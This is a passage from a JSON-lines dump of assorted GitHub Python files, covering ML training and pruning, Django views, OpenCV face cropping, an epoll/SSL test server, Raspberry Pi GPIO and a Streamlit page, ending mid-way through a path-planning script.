str(i) + '/epoch_20.npy', allow_pickle=True).item()\n\n # Create a mask based on a threshold\n mask = create_mask(params, prune_ratio=0.5)\n # Apply the mask to prune the parameters\n pruned_params = apply_mask(params, mask)\n\n # Adding Gaussian noise\n noisy_params = add_noise(params)\n\n jnp.save('./transfer/'+ str(i) + '/epoch_20_pruned.npy', pruned_params)\n jnp.save('./transfer/'+ str(i) + '/epoch_20_noisy.npy', noisy_params)\n\nmain()","repo_name":"emmaprevot/pruning-masking-meta-models","sub_path":"noise_masking.py","file_name":"noise_masking.py","file_ext":"py","file_size_in_byte":9647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15157839289","text":"\"\"\"geekshop URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom mainapp.views import index, contacts\n\n# import mainapp.views as mainapp - можно сразу все импортнуть\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', index, name='index'),\n path('contacts/', contacts, name='contacts'),\n\n # path('contacts/', mainapp.contacts, name='contacts'), - если все импортировали, то подгружать так\n path('products/', include('productsapp.urls', namespace='products')),\n path('auth/', include('authapp.urls', namespace='auth')),\n path('basket/', include('basketapp.urls', namespace='basket')),\n path('admin_staff/', include('adminapp.urls', namespace='admin_staff')),\n path('order/', include('ordersapp.urls', namespace='order')),\n\n path('', include('social_django.urls', namespace='social')),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nif settings.DEBUG:\n import debug_toolbar\n\n urlpatterns += [path('__debug__/', include(debug_toolbar.urls))]\n","repo_name":"Shadow48lip/GB_Django_geekshop","sub_path":"geekshop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"11241385031","text":"import timeit\nimport os\nfrom statistics import mean, stdev\n\n\ndef ingestion_timing():\n starttime = timeit.default_timer()\n os.system('python ingestion.py')\n timing=timeit.default_timer() - starttime\n return timing\n\ndef training_timing():\n starttime = timeit.default_timer()\n os.system('python training.py')\n timing=timeit.default_timer() - starttime\n return timing\n\ndef measure_and_save_timings():\n ingestion_times = []\n training_times = []\n for i in range(20):\n t = ingestion_timing()\n ingestion_times.append(t)\n t = training_timing()\n training_times.append(t)\n return (\n mean(ingestion_times),\n stdev(ingestion_times),\n min(ingestion_times),\n max(ingestion_times),\n mean(training_times),\n stdev(training_times),\n min(training_times),\n max(training_times)\n )\n\nprint(measure_and_save_timings())\n","repo_name":"statneutrino/model-monitor-devops","sub_path":"exercises/L4/exercise_timings.py","file_name":"exercise_timings.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35615770862","text":"# Inspired by Daniel Shiffman Growing Circles coding challenge\n\nimport tkinter\nimport random\nimport math\nfrom Circle import Circle\n\n# Height and width of our canvas\nheight = 300\nwidth = 600\n\ntop = tkinter.Tk()\n\nC = tkinter.Canvas(top, bg=\"#333\", height=height, width=width)\n\n\n# simplifies the Tkinter method to create a circle\ndef _create_circle(c, **kwargs):\n return C.create_oval(c.x - c.r, c.y - c.r, c.x + c.r, c.y + c.r, **kwargs)\n\n\nC.create_circle = _create_circle\n\ncircles = []\ntolerance = 0\n\nwhile len(circles) < 1000:\n # Create a circle of radius 0 at any random spot on our canvas.\n rHeight = random.randrange(0, height)\n rWidth = random.randrange(0, width)\n circ = Circle(rWidth, rHeight, 0)\n\n touched = False\n inside = False\n\n # if our circle hasn't touched anything we want to keep working on it\n while not touched:\n # if statement checks to see if our circle is touching any of the edges of our canvas. the reason we do a +2\n # is because that is the width of our line when we draw the circle.\n if circ.x + circ.r > width + 2 or circ.x - circ.r < 2 or circ.y - circ.r < 2 or circ.y + circ.r > height + 2:\n touched = True\n\n # Compare the current circles distance to any other circle that we're going to draw. if our distance is less\n # than both circles radius, then we know were touching.\n for other in circles:\n dist = math.sqrt(((circ.x - other.x) ** 2) + ((circ.y - other.y) ** 2))\n if dist <= circ.r + other.r:\n touched = True\n # this handles any circles that could spawn inside of an other circle, if the distance is shorter than the\n # radius of another circle, we know the current circle is inside of the other circle.\n if dist <= other.r:\n inside = True\n\n # if were inside another circle we'll just skip, if we haven't touched another circle lets grow and if we\n # have touched and aren't inside, we can add the current circle to our list of circles\n if inside:\n break\n elif not touched:\n circ.grow()\n else:\n circles.append(circ)\n\n # tolerance to exit the loop if we cant find any more valid circles.\n tolerance += 1\n if tolerance >= 10000:\n break\n\n# Draw all the circles in circles!\nfor i in circles:\n C.create_circle(i, outline=\"#fff\", width=2)\n\nC.pack()\ntop.mainloop()\n","repo_name":"TheodossisManavazian/NoOverlappingCircles","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74290930081","text":"from configs import Configs\nfrom models.convlstm import ConvLSTM\nfrom models.resnet import Resnet\nfrom models.fcn32s import FCN32s\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport pytorch_lightning as pl\nimport numpy as np\n\n\nclass LitModel(pl.LightningModule):\n\n def __init__(self, hparams):\n super().__init__()\n self.learning_rate = hparams['lr']\n\n self.resnet = Resnet()\n\n self.convlstm = ConvLSTM(1024, 128, kernel_size=(3, 3), num_layers=1, batch_first=True)\n\n self.deconv = FCN32s(n_class=1)\n\n self.configs = Configs()\n\n self.hidden = None\n self.save_hyperparameters()\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=self.learning_rate)\n return optimizer\n\n def forward(self, z,):\n\n features = self.resnet(z)\n out = self.deconv(features)\n return out\n\n def runEpoch(self, batch, index):\n image = batch['input']\n target = batch['target']\n\n b = image.size(0)\n sLength = 6\n c = 512\n h = 5\n w = 5\n hidden = self.convlstm._init_hidden(batch_size=b, image_size=(h, w))\n loss = 0\n for i in range(sLength):\n\n features = self.resnet(image[:, i])\n\n if i == 0:\n currentLargeFeature = features['final']\n\n currentSmallFeature = features['mid']\n\n inputFeature = torch.unsqueeze(torch.cat((currentSmallFeature, currentLargeFeature), dim = 1), dim = 1)\n\n prediction, hidden = self.convlstm(inputFeature, hidden)\n\n maps = self.deconv(prediction[-1][:, 0])\n\n loss += F.binary_cross_entropy(maps, target[:, i])\n return loss, maps, target[:, i], image\n\n def training_step(self, batch, index):\n\n loss, maps, target, image = self.runEpoch(batch, index)\n\n self.log('train_loss', loss, on_step=False,\n on_epoch=True, prog_bar=True, logger=True)\n\n dic = {'loss': loss}\n return dic\n\n def validation_step(self, batch, index):\n # training_step defines the train loop. It is independent of forward.\n loss, maps, target, image = self.runEpoch(batch, index)\n\n outmap = torch.stack((maps, maps, maps), dim=1).float().squeeze()\n targetmap = torch.stack((target, target, target), dim=1).squeeze()\n\n n_rows = 5\n data = torch.cat((image[:, -1].detach()[:n_rows], outmap.float()[\n :n_rows], targetmap.detach()[:n_rows]), dim=2)\n\n self.log('val_loss', loss, on_step=True,\n on_epoch=True, prog_bar=True, logger=True)\n self.logger.experiment.add_images(\n 'validateImagesIndex0', data, self.current_epoch)\n\n dic = {'loss': loss}\n return dic\n\n def test_step(self, batch, batch_idx):\n # training_step defines the train loop. It is independent of forward.\n image = batch['input']\n target = batch['target']\n b, c, h, w = image.size()\n\n choose = np.random.randint(0, 2)\n if choose:\n features = torch.unsqueeze(self.resnet18(image)['x5'], dim=1)\n else:\n features = torch.unsqueeze(self.resnet101(image)['x5'], dim=1)\n\n prediction, self.hidden = self.convlstm(features, self.hidden)\n maps = self.deconv(prediction[-1][:, 0])\n\n return {\"out\": maps, \"target\": target}\n","repo_name":"praveenVnktsh/Fast-Road-Detection","sub_path":"Resnet101_part_predict/models/litmodel.py","file_name":"litmodel.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"22433729900","text":"# -- coding: utf-8 --\n\nimport numpy as np\nfrom pathlib import Path\nimport cv2\n\nhead = \"xml\\\\haarcascade_\"\ntail = \".xml\"\n\n# 5,6は使わない\nxml_fnames = [\"frontalface_default\",\n \"frontalface_alt\",\n \"frontalface_alt2\",\n \"frontalface_alt_tree\",\n \"profileface\",\n \"smile\"\n ]\n\n# 基本的に1以外使わない\nxml_enames = [\"eye\",\n \"eye_tree_eyeglasses\",\n \"lefteye_2splits\",\n \"righteye_2splits\"\n ]\n\nxml_ubody = Path(head + \"upperbody\" + tail)\nxmls_eyes = []\nxmls_faces = []\n\nfor xmle in xml_enames:\n xmls_eyes.append(Path(head + xmle + tail))\n\nfor xmlf in xml_fnames:\n xmls_faces.append(Path(head + xmlf + tail))\n\ndef img_loader(img_path=Path(\"data\\\\train\\\\portrait\")):\n if not img_path.exists():\n raise ValueError(\"img_path is not exists\")\n else:\n # array準備\n pattern = \"*\"\n num = 0\n for path in img_path.glob(pattern):\n yield path\n\ndef main(imgs_path=Path(\"data\\\\train\\\\portrait\"), save_path=Path(\"data\\\\train\\\\processed\")):\n upscaled, extended, total, cannot_detected = 0, 0, 0, 0\n save_path.mkdir(parents=True, exist_ok=True)\n error_path = save_path / Path(\"error\")\n\n loader = img_loader(imgs_path)\n inc = 1.0 # 角度の変化量\n for img_path in loader:\n img = cv2.imread(str(img_path))\n total += 1\n # img = cv2.imread(\"data\\\\train\\\\portrait\\\\aizawa_yurina_003.jpg\")\n height, width = img.shape[:2]\n if img.shape[0] < 300:\n img = cv2.resize(img, (int(500/width)*width, int(500/height)*height), interpolation=cv2.INTER_LANCZOS4)\n print(\"upscale img\")\n upscaled += 1\n\n org = img\n height, width = img.shape[:2]\n for j in range(4): # face_cascade用のループ\n face_cascade = cv2.CascadeClassifier(str(xmls_faces[j].absolute()))\n for i in range(int(180 / inc)): # 左右に振りながら180度回す(正味の角度刻みは2*inc)\n # 画像回転\n rotM = cv2.getRotationMatrix2D(center=(width / 2, height / 2), angle=i * inc * (-1)**i, scale=1.0)\n img = cv2.warpAffine(org, rotM, dsize=(width, height), borderMode=cv2.BORDER_REPLICATE)\n # 顔検出\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray)\n # 顔を認識できたとき以下のループに入る(それ以外は角度変更してやり直し)\n for (x,y,w,h) in faces:\n # 顔の周囲200%を切り出す関数\n bottom = lambda x, d: int(x - d / 2)\n top = lambda x, d: int(x + 3 * d / 2)\n bx,by,tx,ty = bottom(x,w), bottom(y,h), top(x,w), top(y,h)\n # 顔の周囲200%が画面外にはみ出すときは画像を拡張してやり直し\n if (bx < 0) or (by < 0) or (tx >= width) or (ty >= height):\n t_xy = lambda x, y: np.array([[1, 0, x * 0.5 * width], [0, 1, y * 0.5 * height]],dtype=np.float32)\n img_lb = cv2.warpAffine(org, t_xy(1, 1), dsize=(width, height), borderMode=cv2.BORDER_REPLICATE)\n img_lt = cv2.warpAffine(org, t_xy(1, -1), dsize=(width, height), borderMode=cv2.BORDER_REPLICATE)\n img_rb = cv2.warpAffine(org, t_xy(-1, 1), dsize=(width, height), borderMode=cv2.BORDER_REPLICATE)\n img_rt = cv2.warpAffine(org, t_xy(-1, -1), dsize=(width, height), borderMode=cv2.BORDER_REPLICATE)\n org = cv2.hconcat([cv2.vconcat([img_lb, img_lt]), cv2.vconcat([img_rb, img_rt])])\n width *= 2\n height *= 2\n print(\"extend img\")\n extended += 1\n continue\n\n # img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) # 枠描画\n # roi_gray = gray[bottom(y,h):top(y,h), bottom(x,w):top(x,w)]\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = img[y:y+h, x:x+w]\n\n # 顔の内部のみで瞳検出\n for k in range(1): # 基本的にhaarcascade_eye.xmlしか使わない\n eye_cascade = cv2.CascadeClassifier(str(xmls_eyes[k].absolute()))\n eyes = eye_cascade.detectMultiScale(roi_gray, scaleFactor=1.11, minNeighbors=5, minSize=(1,1))\n # 瞳が検出できたとき以下のループに入る.このとき正面を向いた顔を認識できたと定義する\n for (ex,ey,ew,eh) in eyes:\n # cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,255,0),2) # 枠描画\n # cv2.rectangle(img,(ex,ey),(ex+ew,ey+eh),(0,255,0),2)\n new_img = img[by:ty,bx:tx]\n fname = img_path.with_suffix(\".png\").name\n cv2.imwrite(str(save_path / fname), new_img)\n if True:\n break\n else:\n continue\n break\n else:\n continue\n break\n else:\n continue\n break\n else:\n continue\n break\n else:\n print(\"cannot detect\")\n error_path.mkdir(parents=True, exist_ok=True)\n fname = img_path.with_suffix(\".png\").name\n cv2.imwrite(str(error_path / fname), org)\n cannot_detected += 1\n continue\n\n print(total, upscaled, extended, cannot_detected)\n\nif __name__ == '__main__':\n imgs_path = Path(\"data\\\\train\\\\portrait\")\n save_path = Path(\"data\\\\train\\\\processed\")\n main(imgs_path, save_path)","repo_name":"Mayu14/pict_gen","sub_path":"face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39524585586","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport time\nimport RPi.GPIO as GPIO\n\nbutton_pin = 37 # 按键\nbuzzer_pin = 12 # 蜂鸣器\n\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setup(button_pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(buzzer_pin, GPIO.OUT)\n\ntry:\n while True:\n if (GPIO.input(button_pin)==0):\n GPIO.output(buzzer_pin, GPIO.HIGH)\n else:\n GPIO.output(buzzer_pin, GPIO.LOW)\nexcept KeyboardInterrupt:\n GPIO.cleanup()","repo_name":"kaisawind/raspberrypi","sub_path":"python/button_buzzer/button_buzzer.py","file_name":"button_buzzer.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13640065968","text":"import pickle\nfrom contextlib import contextmanager\nimport socket\nimport select\nimport ssl\nimport copyreg\nimport argparse\nimport sys\nfrom multiprocessing import Process, Pipe\nfrom server import Server\nfrom os.path import exists\n\n# Command Line Argument Parsing\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-s\", \"--server\", dest=\"server\", help=\"Server IP\")\nparser.add_argument(\"-p\", \"--port\", dest=\"port\", help=\"Server port number to listen on\")\nparser.add_argument(\"-m\", \"--multiprocess\", dest=\"multiprocess\", required=False, default=0, help=\"If this flag is present then the epoll server is run in multiprocessing mode. It expects an integer, representing the number\"\n \"of clients each process can maximally handle. I.e. -m 1000 means multiprocessing mode and create a process for every 1000 client\"\n \"connections.\")\nparser.add_argument(\"-l\", \"--log\", dest=\"log\", default=0, help=\"Acceptable values: 0 or 1. If 1 then the statistics will be logged to a file. Default value is 0 meaning do not log.\", required=False)\nargs = parser.parse_args()\n\n# Check ip and port are supplied.\nif args.server is None or args.port is None:\n print(f\"Invalid Arguments: use -h for list of accepted arguments. -s and -p flags must both be present.\")\n sys.exit(0)\n\n# Server Variables\nip = args.server\nBUFF_SIZE = 1024\nMAXCONN = 100000\n\n# Check that LOG is an integer.\ntry:\n LOG = int(args.log)\nexcept ValueError:\n print(f\"Invalid Argument Type: -l flag expects an Integer (1 or 0). Use -h for list of accepted arguments.\")\n sys.exit(0)\n\n# Check that log is equal to 1 or 0.\nif LOG != 0:\n if LOG != 1:\n print(f\"Invalid Argument Type: -l flag expects 1 or 0. Use -h for list of accepted arguments.\")\n sys.exit(0)\n\n# Check that ip is a valid IP address string.\nparts = ip.split('.')\nif len(parts) != 4:\n print(f\"Invalid Argument Type: -s flag expects a valid IP address. Use -h for list of accepted arguments.\")\n sys.exit(0)\nfor num in parts:\n try:\n int(num)\n except ValueError:\n print(f\"Invalid Argument Type: -s flag expects a valid IP address. Use -h for list of accepted arguments.\")\n sys.exit(0)\ntry:\n socket.inet_aton(ip)\nexcept socket.error:\n print(f\"Invalid Argument Type: -s flag expects an IP address. Use -h for list of accepted arguments.\")\n sys.exit(0)\n\n# Check that port is valid argument.\ntry:\n port = int(args.port)\nexcept ValueError:\n print(f\"Invalid Argument Type: -p flag expects an Integer. Use -h for list of accepted arguments.\")\n sys.exit(0)\n\n# Check that multiprocessing flag is an integer.\nif args.multiprocess == 0:\n NUM_CLIENTS_PER_PROCESS = 1000000\nelse:\n try:\n NUM_CLIENTS_PER_PROCESS = int(args.multiprocess)\n except ValueError:\n print(f\"Invalid Argument Type: -m flag expects an Integer. Use -h for list of accepted arguments.\")\n sys.exit(0)\n\n\n# This is the main server function which takes the server address as arguments.\n# address should be a tuple in the form (string, int) --> (ip, port)\ndef main_process(address):\n try:\n # Using context to create the listening socket and that is wrapped into an epoll object.\n with socket_context() as server, epoll_context(server.fileno(), select.EPOLLIN) as epoll:\n server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n server.bind(address)\n server.listen(MAXCONN)\n print(f\"Listening on {address}...\")\n server.setblocking(0)\n server.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n #Create SSL context\n context = ssl.SSLContext()\n context.load_cert_chain('./server.cert', './server_priv.key')\n context.load_verify_locations(capath='./cacert.pem')\n #Wrap socket in context.\n # server = context.wrap_socket(sock=server, server_side=True)\n server_sd = server.fileno()\n # Process and Pipe List\n process_list = []\n pipe_list = []\n\n # Pre-allocating 10 processes which will be able to handle many clients each in parallel.\n for x in range(0, 10):\n s = Server()\n parent, child = Pipe()\n p = Process(target=s.start_server, args=(child,))\n process_list.append(p)\n pipe_list.append(parent)\n num_clients = 0\n num_processes = 0\n\n # Check for new connections.\n while True:\n events = epoll.poll(1)\n for sd, event in events:\n if sd == server_sd:\n conn, addr = server.accept()\n conn.setblocking(0)\n print(\"Listening Socket --> Client connected: \", addr)\n if num_clients != 0:\n if num_clients % NUM_CLIENTS_PER_PROCESS != 0:\n pipe_list[num_processes].send(conn)\n if num_clients % NUM_CLIENTS_PER_PROCESS == 0:\n num_processes = num_processes + 1\n process_list[num_processes].start()\n pipe_list[num_processes].send(conn)\n if num_clients == 0:\n process_list[num_processes].start()\n pipe_list[num_processes].send(conn)\n num_clients = num_clients + 1\n except KeyboardInterrupt:\n process_data = []\n for process in process_list:\n if process.is_alive():\n process.join()\n if num_processes == 0:\n data = pipe_list[num_processes].recv()\n generate_single_process_statistics(data)\n else:\n for x in range(0, num_processes+1):\n data = pipe_list[x].recv()\n process_data.append(data)\n generate_multiprocess_statistics(process_data)\n\n\ndef generate_single_process_statistics(data):\n print(f\"Statistics:\\n\"\n f\"\\tTotal bytes sent to clients: {int(data[0])}\\n\"\n f\"\\tAverage bytes sent to each client: {int(data[1])}\\n\"\n f\"\\tAverage number of requests from each client: {int(data[2])}\")\n if LOG:\n if exists('./server_log_single_process.txt'):\n with open('./server_log_single_process.txt', 'a', encoding='utf-8') as log:\n log.write(f\"{int(data[0])} {int(data[1])} {int(data[2])}\\n\")\n else:\n with open('./server_log_single_process.txt', 'a', encoding='utf-8') as log:\n log.write(f\"total_bytes avg_bytes avg_requests\\n\")\n log.write(f\"{int(data[0])} {int(data[1])} {int(data[2])}\\n\")\n\n\ndef generate_multiprocess_statistics(process_data):\n total_data_sent = 0\n average_data_sent_list = []\n average_data_sent = 0\n average_num_requests_list = []\n average_num_requests = 0\n for data in process_data:\n total_data_sent += data[0]\n average_data_sent_list.append(data[1])\n average_num_requests_list.append(data[2])\n for num in average_num_requests_list:\n average_num_requests += num\n average_num_requests = int(average_num_requests / len(average_num_requests_list))\n for num in average_data_sent_list:\n average_data_sent += num\n average_data_sent = int(average_data_sent / len(average_data_sent_list))\n print(f\"Statistics:\\n\"\n f\"\\tTotal bytes sent to clients: {total_data_sent}\\n\"\n f\"\\tAverage bytes sent to each client: {average_data_sent}\\n\"\n f\"\\tAverage number of requests from each client: {average_num_requests}\")\n if LOG:\n if exists('./server_log_multi_process.txt'):\n with open('./server_log_multi_process.txt', 'a', encoding='utf-8') as log:\n log.write(f\"{total_data_sent} {average_data_sent} {average_num_requests}\\n\")\n else:\n with open('./server_log_multi_process.txt', 'a', encoding='utf-8') as log:\n log.write(f\"total_bytes avg_bytes avg_requests\\n\")\n log.write(f\"{total_data_sent} {average_data_sent} {average_num_requests}\\n\")\n\n\n@contextmanager\ndef socket_context():\n sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n yield sd\n finally:\n print(\"Listening socket closed\")\n sd.close()\n\n\n@contextmanager\ndef epoll_context(sd, event):\n eps = select.epoll()\n eps.register(sd, event)\n try:\n yield eps\n finally:\n print(\"epoll loop exiting\")\n eps.unregister(sd)\n eps.close()\n\n\ntry:\n main_process((ip, port))\nexcept KeyboardInterrupt:\n pass\n\n\n\n\n\n\n\n","repo_name":"spencerwilson123321/port_forwarder","sub_path":"test_programs/server_scalable.py","file_name":"server_scalable.py","file_ext":"py","file_size_in_byte":8846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20066002594","text":"from django.shortcuts import render\nfrom .form import ImageUploadingForm\n\n# Model Dependencies\nfrom tensorflow.keras.applications.resnet50 import ResNet50\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.resnet50 import preprocess_input, decode_predictions\nimport numpy as np\n\n# binary image\ndef handle_upload(file):\n with open('img.jpg','wb+') as save_image:\n for chuck in file.chunks():\n save_image.write(chuck)\n\n# render image upload page\ndef home(request):\n # return HttpResponse(\"Hello World\")\n return render(request, 'image-process/input.html')\n\ndef imageProcess(request):\n form = ImageUploadingForm(request.POST, request.FILES)\n if form.is_valid():\n handle_upload(request.FILES['image'])\n\n # if image valid, create model\n model = ResNet50(weights='imagenet')\n\n img_path = 'img.jpg'\n\n # predicting image\n img = image.load_img(img_path, target_size=(224, 224))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n\n preds = model.predict(x)\n # print('Predicted:', decode_predictions(preds, top=3)[0])\n\n res = []\n for result in decode_predictions(preds, top=3)[0]:\n res.append((result[1], np.round(result[2]*100, 2)))\n \n # print(res)\n\n return render(request, 'image-process/output.html', {'res':res})\n","repo_name":"soumyadeepdutta/Object-Identification-Keras","sub_path":"image/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29672611232","text":"# 特征筛选\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import RandomizedLogisticRegression as RLR\nfrom sklearn.linear_model import LogisticRegression as LR\nfrom sklearn.feature_selection import RFE\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.ensemble import AdaBoostClassifier\nimport net_util as util\nfrom sklearn.model_selection import validation_curve\nimport matplotlib.pyplot as plt\n\n# file_path = \"data/train_data_0621_0720_new.csv\"\nfile_path = \"data/all_feature.csv\"\n# 获取数据集\ndef get_data():\n data = pd.read_csv(file_path)\n columns = list(data.columns)\n data = data.as_matrix()\n data_x = data[:, 3:]\n data_y = data[:, 2]\n return data_x, data_y, columns[2:]\n\n\n# 使用稳定性选择方法中的\"随机逻辑回归\"算法进行特征筛选\ndef feture_select_RLR():\n data_x, data_y, names = get_data()\n rlr = RLR()\n rlr.fit(data_x, data_y)\n return sorted(zip(names, map(lambda x: round(x, 4), rlr.scores_)), key=lambda x: x[1], reverse=True)\n\n\n# 使用递归特征消除方法进行特征筛选\ndef feture_select_RFE():\n data_x, data_y, names = get_data()\n lr = LR()\n rfe = RFE(lr)\n rfe.fit(data_x, data_y)\n return sorted(zip(names, map(float, rfe.ranking_)), key=lambda x: x[1], reverse=True)\n\n\n# 基于随机森林的特征重要度度量方法\ndef feture_select_RFR():\n data_x, data_y, names = get_data()\n rfr = RandomForestRegressor()\n rfr.fit(data_x, data_y)\n return sorted(zip(names, map(lambda x: round(x, 4), rfr.feature_importances_)), key=lambda x: x[1], reverse=True)\n\n\n# 基于随机森林的特征重要度度量方法\ndef feture_select_ADB():\n data_x, data_y, names = get_data()\n adb = AdaBoostClassifier(n_estimators=100)\n adb.fit(data_x, data_y)\n return sorted(zip(names, map(lambda x: round(x, 4), adb.feature_importances_)), key=lambda x: x[1], reverse=True)\n\n\n# 验证曲线,评估参数和指标的关系(1000)\ndef vali_curve():\n data_x, data_y, names = get_data()\n param_range = [600, 800, 1000, 1400, 1600]\n adb = AdaBoostClassifier()\n train_scores, test_scores = validation_curve(estimator=adb, X=data_x, y=data_y, param_name=\"n_estimators\", param_range=param_range, cv=5, scoring='accuracy')\n # 统计结果\n train_mean = np.mean(train_scores, axis=1)\n test_mean = np.mean(test_scores, axis=1)\n plt.plot(param_range, train_mean, color='blue', marker='o', markersize=5, label='training accuracy')\n plt.plot(param_range, test_mean, color='green', linestyle='--', marker='s', markersize=5, label='test accuracy')\n plt.xlabel(\"number of tree\")\n plt.ylabel(\"Accuracy\")\n plt.legend(loc='best')\n plt.show()\n\nif __name__ == \"__main__\":\n r_d = feture_select_ADB()\n x_label = []\n y_data = []\n for item in r_d:\n x_label.append(item[0])\n y_data.append(item[1])\n\n util.paint_bar(x_label, y_data, \"特征评分\", \"特征名称\")\n\n","repo_name":"tian5017/ModelNet","sub_path":"feture_select.py","file_name":"feture_select.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31802397273","text":"class Level(object):\n def __init__(self, overworld, upsideDown, persistent, player):\n self.overworld = overworld\n self.upsideDown = upsideDown\n self.persistent = persistent\n self.player = player\n\n def __repr__(self):\n #Taken from CMU 15-112 Lecture Notes\n def maxItemLength(a):\n maxLen = 0\n rows = len(a)\n cols = len(a[0])\n for row in range(rows):\n for col in range(cols):\n maxLen = max(maxLen, len(str(a[row][col])))\n return maxLen\n\n #Adapted from CMU 15-112 Lecture Notes\n def strFrom2dList(a):\n strOut = \"\"\n\n if (a == []):\n strOut += (\"[]\")\n return\n rows = len(a)\n cols = len(a[0])\n fieldWidth = maxItemLength(a)\n strOut += (\"[ \")\n for row in range(rows):\n if (row > 0): strOut += (\"\\n \")\n strOut += (\"[ \")\n for col in range(cols):\n if (col > 0): strOut += (\", \")\n # The next 2 lines print a[row][col] with the given fieldWidth\n formatSpec = \"%\" + str(fieldWidth) + \"s\"\n strOut += (formatSpec % str(a[row][col]))\n strOut += (\" ]\")\n strOut += (\"]\")\n\n return strOut\n\n strOut = (strFrom2dList(self.overworld) + \"\\n\" + \n strFrom2dList(self.persistent) + \"\\n\" + \n strFrom2dList(self.upsideDown))\n \n return strOut","repo_name":"hnawner/The-Upside-Down","sub_path":"Game_Files/UDLevel.py","file_name":"UDLevel.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6326711992","text":"import os\nimport sys\n\nimport streamlit as st\nfrom streamlit_ws_localstorage import injectWebsocketCode, getOrCreateUID\n\npath2add = os.path.normpath(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, 'utils')))\nprint ('path2add: ', path2add)\nif (not (path2add in sys.path)) :\n sys.path.append(path2add)\nfrom utils import initStreamlitApp\n\n\nprint ('In Upcoming_Campaign.py')\ninitStreamlitApp()\nst.title('Upcoming campaigns')\nst.write('TBD')\n\nuid = getOrCreateUID()\nst.write('uid: ' + uid)\n\nconn = injectWebsocketCode(hostPort='linode.liquidco.in', uid=uid)\nprint ('conn: ', conn)\n\nst.write('calling setLocalStorageVal')\nret = conn.setLocalStorageVal(key='k1', val='v1')\nst.write('ret: ' + ret)\n\nst.write('calling getLocalStorageVal')\nret = conn.getLocalStorageVal(key='k1')\nst.write('ret: ' + ret)\n","repo_name":"gagangoku/mygate-diy","sub_path":"pages/40_📅_Upcoming_Campaigns.py","file_name":"40_📅_Upcoming_Campaigns.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42731980188","text":"# encoding=utf-8\n'''\nDate: 2023-01-26 17:11:34\nLastEditors: Lcf\nLastEditTime: 2023-06-20 21:14:33\nFilePath: \\traj_planning\\discrete_planner.py\nDescription: default\n'''\n\nimport itertools\nimport os\nimport time\nfrom queue import PriorityQueue\n\nimport addict\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport yaml\n\n# change working directory to the directory of this file\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\nprint(f\"Working directory: {os.getcwd()}\")\n\n# load config\nwith open('planner_config.yaml', 'r') as f:\n config = yaml.safe_load(f)\n config = addict.Dict(config) # convert to addict.Dict for easy access\n\n# divide the configuration space into discrete grid\ncell_size = config.min_turn_radius / 1.5\n\nx_min, x_max = config.x_range\ny_min, y_max = config.y_range\n\n# the number of cells in x and y direction\nnum_cells_x_pos = np.ceil(x_max / 